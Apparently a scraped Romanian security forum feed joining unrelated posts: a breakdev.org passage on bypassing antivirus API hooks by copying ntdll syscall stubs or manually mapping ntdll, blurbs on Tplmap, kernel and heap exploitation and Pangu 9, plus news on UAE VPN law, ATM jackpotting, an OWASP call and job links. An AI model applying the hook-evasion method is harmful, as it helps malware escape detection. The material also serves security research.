Windows libraries eventually call APIs from ntdll.dll. Let's take a look at the code of ZwCreateFile API from ntdll.dll on Windows 7 in WOW64 mode: 77D200F4 > B8 52000000 MOV EAX,52 77D200F9 33C9 XOR ECX,ECX 77D200FB 8D5424 04 LEA EDX,DWORD PTR SS:[ESP+4] 77D200FF 64:FF15 C0000000 CALL DWORD PTR FS:[C0] 77D20106 83C4 04 ADD ESP,4 77D20109 C2 2C00 RETN 2C Basically what it does is pass EAX = 0x52 with stack arguments pointer in EDX to the function, stored in TIB at offset 0xC0. The call switches the CPU mode from 32-bit to 64-bit and executes the syscall in Ring0 to NtCreateFile. 0x52 is the syscall for NtCreateFile on my Windows 7 system, but the syscall numbers are different between Windows versions and even between Service Packs, so it is never a good idea to rely on these numbers. You can find more information about syscalls on Simone Margaritelli blog here. Most protection software will hook ntdll.dll API as it is the lowest level that you can get to, right in front of the kernel's doorstep. For example if you only hook CreateFileW in kernel32.dll which eventually calls ZwCreateFile in ntdll.dll, you will never catch direct API calls to ZwCreateFile. Although a hook in ZwCreateFile API will be triggered every time CreateFileW or CreateFileA is called as they both eventually must call the lowest level API that communicates directly with the kernel. There is always one loaded instance of any imported DLL module. That means if any AV or sandbox solution wants to hook the API of a chosen DLL, they will find such module in current process' imported modules list. Following the DLL module's export table, they will find and hook the exported API function of interest. Now, to the interesting part. What if we copied the code snippet, I pasted above from ntdll.dll, and implemented it in our own application's code. This would be an identical copy of ntdll.dll code that will execute a 0x52 syscall that was executed in our own code section. No user-mode protection software will ever find out about it. It is an ideal method of bypassing any API hooks without actually detecting and unhooking them! Thing is, as I mentioned before, we cannot trust the syscall numbers as they will differ between Windows versions. What we can do though is read the whole ntdll.dll library file from disk and manually map it into current process' address space. That way we will be able to execute the code which was prepared exclusively for our version of Windows, while having an exact copy of ntdll.dll outside of AV's reach. I mentioned ntdll.dll for now as this DLL doesn't have any other dependencies. That means it doesn't have to load any other DLLs and call their API. Its every exported function passes the execution directly to the kernel and not to other user-mode DLLs. It shouldn't stop you from manually importing any other DLL (like kernel32.dll or user32.dll), the same way, if you make sure to walk through the DLLs import table and populate it manually while recursively importing all DLLs from the library's dependencies. That way the manually mapped modules will use only other manually mapped dependencies and they will never have to touch the modules that were loaded into the address space when the program was started. Afterwards, it is only a matter of calling the API functions from your manually mapped DLL files in memory and you can be sure that no AV or sandbox software will ever be able to detect such calls or hook them in user-mode. Conclusion There is certainly nothing that user-mode AV or sandbox software can do about the evasion methods I described above, other than going deeper into Ring0 and monitoring the process activity from the kernel. The unhooking method can be countered by protection software re-hooking the API functions, but then the APIs can by unhooked again and the cat and mouse game will never end. In my opinion the stealth calling method is much more professional as it is completely unintrusive, but a bit harder to implement. I may spend some time on the implementation that I will test against all popular sandbox analysis software and publish the results. As always, I'm always happy to hear your feedback or ideas. You can hit me up on Twitter @mrgretzky or send an email to kuba@breakdev.org. Enjoy and see you next time! Sursa: https://breakdev.org/defeating-antivirus-real-time-protection-from-the-inside/

Tplmap Tplmap (short for Template Mapper) is a tool that automate the process of detecting and exploiting Server-Side Template Injection vulnerabilities (SSTI). This assists SSTI exploitation to compromise the application and achieve remote command execution on the operating system. The tool can be used by security researches and penetration testers, to detect and exploit vulnerabilities and study the template injection flaws. Tplmap template capabilities can be extended via plugins. Several sandbox break-out methodologies came from James Kett's research Server-Side Template Injection: RCE For The Modern Web App and other original researches. As advanced features Tplmap detects and achieves command execution in case of blind injections and is able to inject in code context. Link: https://github.com/epinna/tplmap

Uninitialized Stack Variable – Windows Kernel Exploitation Introduction We are going to discuss about use of Uninitialized Stack Variable vulnerability. This post will brief you about what is an uninitialized variable, what could be the adverse effect of uninitialized variable vulnerability in your code. We will discuss this by taking example of an Uninitialized Stack Variable vulnerability implemented in HackSys Extreme Vulnerable Driver. We will understand what the problem in the code is, how we can trigger it, and finally, how we can exploit it in Kernel mode to get SYSTEMprivilege. Uninitialized Variable Wikipedia: In computing, an uninitialized variable is a variable that is declared but is not set to a definite known value before it is used. It will have some value, but not a predictable one. As such, it is a programming error and a common source of bugs in software. Articol complet: http://www.payatu.com/uninitialized-stack-variable/

Windows 10 x86/wow64 Userland heap Published July 5, 2016 | By Corelan Team (corelanc0d3r) Introduction Hi all, Over the course of the past few weeks ago, I received a number of "emergency" calls from some relatives, asking me to look at their computer because "things were broken", "things looked different" and "I think my computer got hacked". I quickly realized that their computers got upgraded to Windows 10. We could have a lengthy discussion about the strategy to force upgrades onto people, but in any case it is clear that Windows 10 is gaining market share. This also means that it has become a Windows version that is relevant enough to investigate. In this post, I have gathered some notes on how the userland heap manager behaves for 32bit processes in Windows 10. The main focus of my investigation is to document the similarities and differences with Windows 7, and hopefully present some ideas on how to manipulate the heap to increase predictability of its behavior. More specifically, aside from documenting behavior, I am particularly interested in getting answers to the following questions: How does the back-end allocator behave? What does it take to activate the LFH? What are the differences in terms of LFH behavior between Win7 and Win10, if any? What options do we have to create a specific heap layout that involves certain objects to be adjacent in memory? (objects of the same size, objects of different sizes) Can we perform a "reliable" and precise heap spray? As I am a terrible reverse engineer, it’s worth noting that the notes below are merely a transcript of my observations, and not backed by disassembling/decompiling/reverse engineering ntdll.dll. Furthermore, as the number of tests were limited (far below what would be needed to provide some level of statistical certainty), I am not 100% sure that my descriptions can be considered a true representation of reality. In any case, I hope the notes will inspire people to do more tests, to perform reverse engineering on some of the heap management related code, and share more details on how things were implemented. This post assumes that you already have experience with the Windows 7 heap and its front-end and back-end allocators, and that you understand the output of various !heap commands. In my test applications, I’ll be using the default process heap. It would be fair to assume that the notes below apply to all windows heaps and applications that rely on the windows heap management system. Throughout this post, I will use the following terminology: chunk: a contiguous piece of memory block: size unit, referring to 8 bytes of memory. (Don’t be confused when you see the word "block" in WinDBG output. WinDBG uses the term "block" to reference a chunk. I am using different terminology. virtualallocdblock: a chunk that was allocated through RtlAllocateHeap, but is larger than the VirtualMemoryTHreshold (and thus is not stored inside a segment, but rather as a separate chunk in memory), and managed through the VirtualAllocdBlocks list. (offset 0x9c in the heap header) segment: the heap management unit, managed by a heap, used to allocate & manage chunks. The segment list is managed inside the heap header (offset 0xa4) SubSegment: the LFH management unit used to manage LFH chunks Articol complet: https://www.corelan.be/index.php/2016/07/05/windows-10-x86wow64-userland-heap/

Pangu 9 Internals Tielei Wang & Hao Xu & Xiaobo Chen Te a m P a n g u Agenda ✤iOS Security Overview ✤Pangu 9 Overview ✤Userland Exploits ✤Kernel Exploits &Kernel Patching ✤Persistent Code Signing Bypass ✤Conclusion Download: http://blog.pangu.io/wp-content/uploads/2016/08/us-16-Pangu9-Internals.pdf

S-au publicat slide-urile si whitepapers (cele care au) de la Blackhat 2016 US: Link: https://www.blackhat.com/us-16/briefings.html

If you get caught using a VPN in the UAE, you will face fines of up to $545,000 UAE has introduced a federal law banning the use of VPNs to try to avoid paying for expensive VOIP services. By Mary-Ann Russon July 27, 2016 16:41 BST UAE President Sheikh Khalifa bin Zayed Al Nahyan (right) has issued new federal laws banning the use of VPNs in the countryReuters The President of the United Arab Emirates (UAE) has issued a series of new federal laws relating to IT crimes, including a regulation that forbids anyone in the UAE from making use of virtual private networks (VPN) to secure their web traffic from prying eyes. The new law states that anyone who uses a VPN or proxy server can be imprisoned and fined between Dh500,000-Dh2,000,000 ($136,000-$545,000, £415,000, €495,000) if they are found to use VPNs fraudently. VPNs are services that allow users anywhere in the world to connect to a private network on the internet. These are useful for online privacy, as they hide the user's actual location.Previously, the law was restricted to prosecuting people who used VPNs as part of an internet crime, but UK-based VPN and privacy advocate Private Internet Access says that the law has now changed to enable police in the UAE to go after anyone who uses VPNs to access blocked services, which is considered to be fraudulent use of an IP address. However, they can also be used to circumvent region restrictions on content – such as tricking Netflix US into thinking that foreign users are based in that country, or bypassing state censorship in China or Turkey to access services like Twitter and Facebook or even pornographic websites. VPNs are also often used in conjunction with the Tor anonymity network to access websites hidden on the Dark Web. The fight against free VoIP apps At the moment, a large number of people residing in the UAE utilise VPNs in order to access popular apps that are inaccessible from within the Gulf nation like WhatsApp, Snapchat and Viber, which are messaging and voice apps that make use of Voice over IP (VoIP) technology to deliver voice calls over the internet for free. VoIP "over-the-top" apps have long been a thorn in the sides of telecoms operators around the world, because consumers no longer need to pay international calling rates to speak to their loved ones – they can just speak to them on Skype, WhatsApp, Facebook Messenger, Viber or Snapchat. But the UAE is one of the first governments in the world to actually regulate on behalf of and for its telecoms companies in order to help them stem loss of revenue from VoIP apps. Etisalat and du are the only two companies in the world that have been granted licences by the UAE government to offer commercial VoIP services, which can be expensive, and rather than enable citizens and residents to have choice about what services they want to use, the government is assisting UAE's telecom providers in upholding a monopoly on voice calls made in the country. Although experts have criticised the UAE and Etisalat and du in the past for seeking to block the voice calling features in Snapchat, Skype and Whatsapp from working in the UAE, the UAE's telecoms regulator stands by the Etisalat and du, and also says that the apps should be banned due to security concerns. Sursa: http://www.ibtimes.co.uk/if-you-get-caught-using-vpn-uae-you-will-face-fines-545000-1572888

Doi ruşi au fost arestaţi după ce au spart două bancomate din Capitală Doi cetăţeni ruşi au fost arestaţi preventiv de magistraţii Tribunalului Bucureşti, fiind acuzaţi că au spart două bancomate din Capitală, de unde au reuşit să sustragă aproape 250.000 de lei, informează News.ro. Foto: Gulliver/Getty Images Potrivit procurorilor Direcţiei de Investigare a Infracţiunilor de Criminalitate Organizată şi Terorism (DIICOT), în noaptea de 2 iulie, cei doi cetăţeni ruşi - Artur Shcherbina şi Artem Kuznetsov - au pătruns în incinta zonei de 24h banking a unei bănci din Sectorul 2 din Bucureşti, unde, în timp ce Kuznetsov a asigurat paza, celălalt a decupat un segment din partea din faţă a ATM-ului, s-a conectat ilegal la sistemul informatic şi a generat comenzi care au determinat eliberarea sumei de 10.995 de lei din dispenserul bancomatului. În aceeaşi noapte, cei doi au spart şi o unitate bancară din Sectorul 6, reuşind să fure 236.800 de lei din bancomat. DIICOT precizează că acţiunea celor doi face parte din categoria de atacuri "Jackpotting”, fiind de tipul "Black Box”, în care autorii decupează o porţiune din masca ATM-ului pentru a avea acces la infrastructura acestuia. Dispenserul de bancnote este deconectat de la sistemul bancomatului, iar un dispozitiv extern deţinut de către autori ("Black Box”) este conectat la dispenser. Dispozitivul lansează comenzi către dispenser, având ca rezultat eliberarea neautorizată a banilor din ATM. Anchetatorii au stabilit că astfel de atacuri au fost înregistrate recent şi în alte ţări europene, între care Germania şi Italia. Cei doi ruşi locuiau într-un hotel din Ploieşti, iar în urma percheziţiilor făcute în 25 iulie în camera în care erau cazaţi au fost găsite şi ridicate dispozitive pentru tăiere, dispozitive de conectare la sistemul informatic şi accesorii folosite la comiterea celor două atacuri. Cetăţenii ruşi au fost reţinuţi de procurori, pentru infracţiunile de acces ilegal la un sistem informatic, furt calificat şi distrugere, iar marţi Tribunalului Bucureşti a dispus arestarea preventivă a acestora pentru 30 de zile. Sursa: http://www.digi24.ro/Stiri/Digi24/Actualitate/Stiri/Doi+rusi+au+fost+arestati+preventiv+dupa+ce+au+spart+doua+bancom

In acest an conferinta OWASP locala va avea loc pe 6 octombrie la Sheraton Hotel Bucharest si va fi un eveniment de o zi cu prezentari si doua traininguri focusate pe securitatea aplicatiilor. Detaliile despre OWASP Bucharest AppSec Conference 2016 vor fi publicate aici: https://www.owasp.org/index.php/OWASP_Bucharest_AppSec_Conference_2016 Inregistrarea prezentarilor se realizeaza aici. Oportunitatile de sponsorizare sunt in acest document. Va puteti inscrie cu prezentari sau workshop-uri din urmatoarele arii si nu numai: • Security aspects of new / emerging web technologies / paradigms / languages / frameworks • Secure development: frameworks, best practices, secure coding, methods, processes, SDLC, etc. • Security of web frameworks (Struts, Spring, ASP.Net MVC, RoR, etc) • Vulnerability analysis (code review, pentest, static analysis etc) • Threat modelling of applications • Mobile security and security for the mobile web • Cloud security • Browser security and local storage • Countermeasures for application vulnerabilities • New technologies, paradigms, tools • Application security awareness and education • Security in web services, REST, and service oriented architectures • Privacy in web apps, Web services and data storage Important: termenul limita pentru inscrierea prezentarilor este 28 august lista speakerilor confirmati va fi anuntata pe 1 septembrie conferinta va avea loc pe 6 octombrie prezentarile vor avea durata de 40 de minute fiecare va exista un speaker agreement

Nu, activitatea se desfasoara la sediul Dell/SecureWorks (Bucuresti). Lucrez la SecureWorks, firma care face parte din Dell.

Job-uri la Dell: Windows System Administrator: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/windows-system-administrator-86347 Network Security Engineer - Firewall: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-security-engineer-firewall-87655 IT Project Manager - Software: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/it-project-manager-software-89906 Technical Support Manager: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/technical-support-manager-91575 Network Support Senior Specialist - Cloud: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-design-senior-specialist-91619 Network Support Consultant - Critical Incident Team: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-engineering-consultant-critical-incident-team-90776 VMWare Consultant - Critical Incident Team: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/vmware-consultant-critical-incident-team-91171 Software Development Senior Specialist - .NET and Oracle: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/.net-senior-software-developer-internal-it-90723 DLP Platform Engineer: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/dlp-platform-engineer-91683 Incident Management Advisor: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/incident-management-advisor-92485 Java Software Developer - Credit Card Application: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-software-developer-java-91832 Java Software Developer - Leasing Application: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-software-developer-java-91840 Sr. Java Software Developer - Leasing Application: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-software-developer-java-91863 Storage Consultant - Critical Incident Team: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/storage-consultant-critical-incident-team-91298 Job-uri la SecureWorks: Vulnerability Specialist - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/vulnerability-specialist-85444 Penetration Tester - SecureWorks - Bucharest: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/penetration-tester-87625 Linux System Administrator - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/linux-system-administrator-secureworks-89426 Junior Linux Administrator - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/junior-linux-administrator-secureworks-bucharest-89427 Technical Testing Tools Developer - Ruby & JavaScript - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/technical-testing-tools-developer-ruby-javascript-88418 Information Security Risk Management Advisor - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/information-security-risk-management-advisor-secureworks-bucharest-89300 Desktop Support Analyst - Rotating Shifts - SecureWorks - Bucharest: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/desktop-support-analyst-rotating-shifts-secureworks-bucharest-91424 Application Support Engineer - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/application-support-engineer-secureworks-90450 Security Systems Manager - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/security-systems-manager-secureworks-90978 Network Engineer - Firewall - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/network-engineering-advisor-secureworks-90650 Front-End Web Developer - JavaScript - SecureWorks - Bucharest: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/front-end-web-developer-javascript-secureworks-bucharest-89905 Data Protection Analyst - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/data-protection-analyst-secureworks-91890 SharePoint Designer - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/sharepoint-designer-secureworks-bucharest-89716 Data Loss Prevention Advisor - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/data-loss-prevention-advisor-secureworks-90261 Information Security Specialist - Rotating Shifts - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/information-security-specialist-rotating-shifts-secureworks-91948 Information Security Team Leader - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/information-security-team-leader-secureworks-91949 Skype System Administrator - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/skype-system-administrator-secureworks-92615 Internship - Security Solutions - Rotating Shifts - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/internship-security-solutions-secureworks-92325 McAfee Security Specialist - Rotating Shifts - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/mcafee-security-specialist-rotating-shifts-secureworks-91852 Vulnerability Management Engineer - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/vulnerability-management-engineer-secureworks-92247 Senior McAfee ePO Platform Engineer - SecureWorks: http://dell.referrals.selectminds.com/via/IonutP-5o7x6X/jobs/senior-mcafee-epo-platform-engineer-secureworks-91792 Lista completa job-uri disponibile: http://p.rfer.us/DLLiBIN7O